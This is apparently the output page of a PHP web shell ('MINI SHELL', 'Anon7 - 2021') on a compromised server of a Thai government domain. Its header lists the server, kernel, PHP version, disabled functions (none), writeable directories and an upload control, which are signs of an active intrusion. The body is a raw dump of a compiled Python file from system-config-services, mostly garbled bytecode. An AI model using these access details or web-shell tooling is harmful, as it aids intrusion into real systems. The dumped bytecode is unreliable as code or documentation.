MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/system-config-services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/system-config-services/servicemethods.pyo
m
eDc@sdZdkZdkZdklZlZlZdkZdZdZ	dZ
dZdZdfd	YZ
d
e
fdYZdfd
YZdS(shThe servicemethods module handles all the backend processing for the system-config-services application.N(t_sN_scatcCstid|d}tii|g|}||}|i
}|djo
d}n|ddjo|d }n||fS(s4Return (status, output) of executing cmd in a shell.s
{ %s ; } 2>&1triis
N(
tostpopentcmdtpipetnonblockingreadertReadertruntcallbacktoutputttexttclosetstatustNone(RR	R
RRR
((t3/usr/share/system-config-services/servicemethods.pytgetstatusoutputs


iiiitServicecBstZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZddZ
d
ZdZdZdZdZdZdZRS(s:Represents a service with start script in /etc/init.d
    cCs||_||_||_||_|i|_d|_d|_	g|_
t|_d|_
g|_g|_g|_t|_|it|_dS(Nt(tnametselft	runlevelst
_runlevelst_runlevels_oldtservicest
uicallbackRt	startpriotstoppriotdefaultrunlevelstFalsethidetdescriptiontprocessnamestconfigfilestpidfilestprobet_read_script_filet_dirty(RRRR((Rt__init__5s 		
										
cCsU|djo;|i\|_|_|djo|iSqQ|iSn
t|dS(NR
tstatus_message(sstatussstatus_message(RRt
get_statusR
R'tAttributeError(RR((Rt__getattr__Js

cCstS(N(R(R((Rtis_xinetd_serviceUscCs|iS(N(RR(R((Rt
get_runlevelsZscCs|iptSn|i|id}xctt|iD]L}||ijo|i|otSqq<|i||jotSq<q<WtS(sreturn if service is configured as suggested with defaultsrunlevels
        This is either service is off in all runlevels or on on exatctly
        the defaultrunlevels
        iN(	RRRRtontxrangetlentrunleveltTrue(RR-R0((Rt
is_default_s
cCs|i|idS(sg
        Return if service is enabled in the default runlevels
        Assumes .is_default() == True!!!iN(RRR(R((Rt
is_default_onrscCst}y%td|id|id}WntdfSnX|iddjo
t}n|iddjo
t	}n||fS(	slExecute /sbin/service name status
        return (status of the service, the output of the command)
        sLC_ALL=C /sbin/service s statusiRtrunningitstoppedN(
tUNKNOWNR
RRRRtmessagetfindtRUNNINGtSTOPPED(RR
R7((RR(zs%

cCsd|iS(Ns/etc/init.d/(RR(R((Rtget_script_filescCs!|itjo
t|_ndS(s#Tell that a config file got changedN(RtstateR:R1R%(R((Rt	set_dirtyscCs|iS(s7Are there still changes not realized by the service yetN(RR%(R((Rtis_dirtysicCsOt|to
|g}nx|D]}||i|<q$W|ii|dS(schanged if service is started in the given runlevels
        runlevels may be an int or sequence of ints
        changes are not written to disk. Use .save_changes()N(	t
isinstancetediting_runlevelstintR0R-RRRt_service_changed(RR-R@R0((Rtset_in_runlevelss
cCsId|}y$td||i|f|iWntj
onXdS(s@calls chkconfig --level editing_runlevel on if on, off if not onR-toffs)LC_ALL=C /sbin/chkconfig --level %s %s %sN(sonRD(R-tchkconfig_actionRR@RRRtIOError(RR-R@RE((Rt_set_in_runlevelss$cCs5x|iD]}||i|<q
W|ii|dS(s5Change is service is started in the default runlevelsN(RRR0R-RRRB(RR-R0((Rtsets

cCs?x8t|i|iD]!\}}||jotSqqWtS(sTAre there any changes to runlevel behaviour that
        are not yet written to diskN(tzipRRRtnewtoldR1R(RRKRJ((Rt
is_changeds
cCsrt}d}xRt|i|iD];\}}||Ao|i	||t
}n|d7}q"W|i|_|S(s4when this method is used it saves the change to diskiiN(RtchangedR0RIRRRRJRKRGR1(RRMRKR0RJ((Rtsave_changess

cCstd|i|f|i\}}|djoA|djot|_||_ndtdt	|ffSnC|i
\|_|_t|_
dd	|i|ftd
fSdS(
sMExecute /sbin/service servicename action.
        return (errorcode, message)s/sbin/service %s %sitstarttrestarttreloadt
conrestartis%s failed. The error was: %ss%s %ss successfulN(sstartRPsreloadRR(RRRtactionRR
R7tERRORRtservicenameR(R'RR%(RRSR
R7((RRSs

	
	cCs`yt|i}Wntj
odSnXdddddddd	g}g}d}x|D]}|d
djoPn|di
}|pVtid
|}|o9|i
d|jo#|i
d}||i}qn|og|ido|i|d i
qX|i|i
|i|di|d}g}qaqaWdS(s?Gets the description for the given initscript or xinet.d scriptNt	chkconfigRtprocessnametconfigtpidfileR#Rtdefaultit#is
^\s*(\w+):s\it (topenRR;tfdRFt	tag_namestdataRttagtlinetstriptretmatchtgrouptendtendswithtappendt_process_initscript_tagtjoin(RR`RaR^R_RbRe((RR$s2	cCs|djotid|}|o~|iddjo4x1|idD]}|iit	|qLWnt	|id|_
t	|id|_qn|djo.|idd	jo|iid
qn|djo
||_
n|djo|ii|n|d
jo|ii|nt|djo|ii|nS|djo|idd	j|_n*|djo|idd	j|_ndS(sused by _read_script_file onlyRVs\s*(\d+|-)\s*(\d+)\s*(\d+)it-iiRZR-iiRRWRXRYR#ttrueRN(RRdRetvalueRftcharRRRiRARRR8RR R!R"R#R(RRRnRoRe((RRjs2
 







(t__name__t
__module__t__doc__R&R*R+R,R2R3R(R;R=R>RCRGRHRLRNRSR$Rj(((RR1s&										
	
					$t
XinetdServicecBs8tZdZdZdZddZdZRS(NcCstS(N(R1(R((RR+/scCs8|iidd}|o|iSntdfSdS(NtxinetdR(RRtgetRRtR(R6(RRt((RR(2scCsd|iS(Ns/etc/xinetd.d/(RR(R((RR;9scCsFd|}y!td|i|f|iWntj
onXdS(scalls chkconfig on/offR-RDsLC_ALL=C /sbin/chkconfig %s %sN(sonsoff(R-RERRRRRF(RR-R@RE((RRG>scCs|iidd	}|o|itjodtd|ifSn|i	d\}}|djo&dtdttd|fSqdtdfSndtd|ifSd	S(
sxstarts, stops, and restarts the service. Returns the error
        if the service failed in any of the actions.
        Rtis$xinetd must be enabled for %s to runtrelaodisxinetd failed to reload for s. The error was: sxinetd reloaded %s successfullyN(
RRRuRRtR
R9RRRSterrorR
RU(RRSRtRwR
((RRSIs
&(RpRqR+R(R;RRGRS(((RRs-s
			tServicescBstZdZedZdZdZdZdZdZ	dZ
dZd	Zd
dZ
dZd
ZdZdZRS(sIncludes methods used to find services, and information about them such
    as the description, whether or not it is configured etc.cCs(||_h|_h|_h|_dS(N(RRt	_servicest_xinetd_servicest_changed(RR((RR&es			cCs!|ii|dp|i|S(N(RRyRuRRRz(RR((Rt__getitem__mscCs#|ii|p|ii|S(N(RRythas_keyRRz(RR((RR}rsccs9|ii}|ix|D]}|i|Vq WdS(s!Iter over all non xinetd servicesN(RRytkeystsorttkey(RR~R((Rt__iter__xs
ccs9|ii}|ix|D]}|i|Vq WdS(s(return iterator over all xinetd servicesN(RRzR~RR(RR~R((Rtxinetd_servicess
cCs&td|i\}}t|dS(s1returns the current runlevel, uses /sbin/runlevels/sbin/runleveliN(RRRR
R
RA(RR
R
((Rtget_runlevelscCs'td||i}|i||S(s!calls chkconfig --add servicenames!LC_ALL=C /sbin/chkconfig --add %sN(RRURRtresulttupdate(RRUR((Rtadd_services


cCs'td||i}|i||S(s!calls chkconfig --del servicenames!LC_ALL=C /sbin/chkconfig --del %sN(RRURRRR(RRUR((Rtdelete_services


cCs|i}|pdSn|id}g}|D]}||iq5~}|dido|dd }n|d}|djodSn|d}g}|D] }||idddjq~}||fS(	sparse one line of chkconfig --list output
        return (name, runlevels as list of bools)
               or None if not a valid lines	it:isxinetd based servicesiR-N(
RbRcRtsplittentriest_[1]tentryRhRR(RRbRRRRR((Rt_service_from_chkconfigs'


4RcCsh|_h|_td||id}|i}x|D]}|i	|}|djoq?n|\}}t|djo#t|||}||i|<q?t|||}||i|<q?W|o|io|idndS(ssread in data about services in the system. 
        if servicename is given only get data for this service
        s.LC_ALL=C /sbin/chkconfig --list %s 2>/dev/nulliRtN(RRyRzRRURtchkconfig_listt
splitlinesRbRtserviceRRRR/RsRR(RRURRRRbR((Rtget_service_listss&		

cCstd||i\}}|djo|i|}|dj	oi|\}}t|djo#t|||}||i
|<n t|||}||i|<dSqn|i
i||ii|dS(sURead status of service from disk. If service got removed
        remove from ourselfss LC_ALL=C /sbin/chkconfig --list iiN(RRURRR
R
RRRRRR/RsRzRRytpop(RRUR
RRRR
((RRs



cCs
t|iS(sQRunlevel behaviour of any service got changed
        but not yet written to diskN(tboolRR{(R((RRLscCs5|iod|i|<n|ii|ddS(s$Called by a service that got changediN(RRLRR{RR(RR((RRBs
cCsx!|iiD]}|iqWt}x0|iiD]}|i}|p|}q:W|ot	d|i
nh|_dS(s4when this method is used it saves the change to disks/sbin/service xinetd reloadN(RRyt
itervaluesRRNRt
reload_xinetdRzRMRRR{(RRRMR((RRNs(RpRqRrRR&R|R}RRRRRRRRRLRBRN(((RRxas															
(RrRdRtrhpl.translateRtN_tcatRRR6R9R:RTRRsRx(RRRTR6RsRRdR9R:RRxRRR((Rt?s		4

Anon7 - 2021